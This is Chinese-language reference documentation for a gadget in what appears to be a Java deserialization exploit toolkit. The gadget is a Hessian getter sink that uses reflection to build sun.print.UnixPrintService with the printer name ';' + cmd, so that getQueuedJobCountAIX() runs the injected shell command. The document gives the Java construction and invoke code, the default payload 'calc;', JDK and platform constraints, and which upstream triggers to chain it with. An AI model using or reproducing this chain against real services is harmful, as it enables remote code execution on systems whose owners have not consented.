- 类别:hessian 别名:— 优先级:—
- 作者:—
- 依赖:
linux(仅 Unix/Linux 目标;JDK 8 内置sun.print.UnixPrintService)
构造一个 sun.print.UnixPrintService 实例,并把其构造入参设为 ";" + cmd。当上游通过 getter 触发 getQueuedJobCountAIX() 时,UnixPrintService 内部会以 shell 执行 AIX 打印队列查询命令,从而把注入的 cmd 拼接进命令行实现 命令注入 RCE。是一条不依赖任何第三方库、纯 JDK 的 Hessian getter sink。
- 入口
tags:UnixPrintServiceChain—— 本族链的私有标识。HessianGetter/Getter—— 表明本 gadget 是一个「getter sink」,需要由能在 Hessian 反序列化时调用任意 getter 的上游(如XString/RefWrap等 Hessian getter 触发器)来驱动。NotForJavaSerializable—— 关键约束:sun.print.UnixPrintService未实现Serializable,因此本 gadget 只能用于 Hessian(Hessian 不要求对象实现Serializable),不能用于 Java 原生反序列化。END—— 本 gadget 是链尾 sink,其后不再衔接其他环。
- 衔接
nextTags:无(sink,invoke直接返回最终对象,不再doCreate)。 excludes:无。
public String cmd = "calc;";
public String methodName = "getQueuedJobCountAIX";
public String paramName = "queuedJobCountAIX";
public Object getObject() throws Exception {
if (OSUtil.isWindows()) {
throw new RuntimeException("UnixPrintServiceLookup 利用链仅在 Unix/Linux 系统中可用");
}
Class<?> ups = Class.forName("sun.print.UnixPrintService");
Constructor<?> constructor = ups.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object unixPrintService = constructor.newInstance(";" + this.cmd);
return unixPrintService;
}- 先用
OSUtil.isWindows()做平台自检:该 sink 依赖 AIX/Unix 平台特有的lpstat/enq之类打印命令行为,Windows 上不可用,故直接抛异常。 - 通过反射拿到
sun.print.UnixPrintService(String)的私有构造器,setAccessible(true)后以";" + cmd作为打印机名新建实例。前置的;用于闭合原命令并追加注入命令——真正执行时打印命令会被拼成形如... ; <cmd>的字符串交给 shell。 - 该对象本身未实现
Serializable,靠 Hessian 的宽松反序列化被还原。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);
return this.getObject();
}invoke不调用chain.doCreate(本 gadget 是链尾),而是把两个约定写入GadgetContext:SPECIAL_METHOD_NAME_KEY = "getQueuedJobCountAIX"—— 告知上游 getter 触发器:要调用的目标方法是getQueuedJobCountAIX()(并非标准 JavaBean getter,故走「special method」通道)。GETTER_PARAM_NAME_KEY = "queuedJobCountAIX"—— 对应的属性名,供按属性名反射调用 getter 的上游使用。
- 实际执行链:Hessian 反序列化 → 上游触发器调用
unixPrintService.getQueuedJobCountAIX()→UnixPrintService内部执行拼接后的打印命令 →cmd被执行。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
Linux命令 | 要注入执行的命令,示例 calc; |
"calc;" |
任意 |
methodName、paramName为公开字段(非@Param),默认分别为getQueuedJobCountAIX、queuedJobCountAIX,一般无需改动。
- 仅适用于 Unix/Linux 目标,且 JDK 版本需内置
sun.print.UnixPrintService——JDK 高版本已移除该类。作者实测zulu8u345中仍存在此类。 - 仅适用于 Hessian 反序列化:目标类未实现
Serializable,无法走 Java 原生序列化(对应NotForJavaSerializable标签)。 - 命令通过前缀
;拼接实现注入,属于 shell 命令拼接,注意cmd需符合目标 shell 语法(示例以;结尾)。
- 自由构件,未直接出现在预设链(
usedInChains为空)。需与能在 Hessian 场景下触发 getter 的上游触发器手动组合使用。
- 同族兄弟:UnixPrintServiceLookup(同样是 Unix getter 命令注入 sink,走
sun.print.UnixPrintServiceLookup,实例化方式不同)。 - 上游(需
HessianGetter/Getter触发器):能在 Hessian 反序列化时按SPECIAL_METHOD_NAME_KEY调用任意方法的 getter 触发 gadget(如 XString 系列 / RefWrap 等)。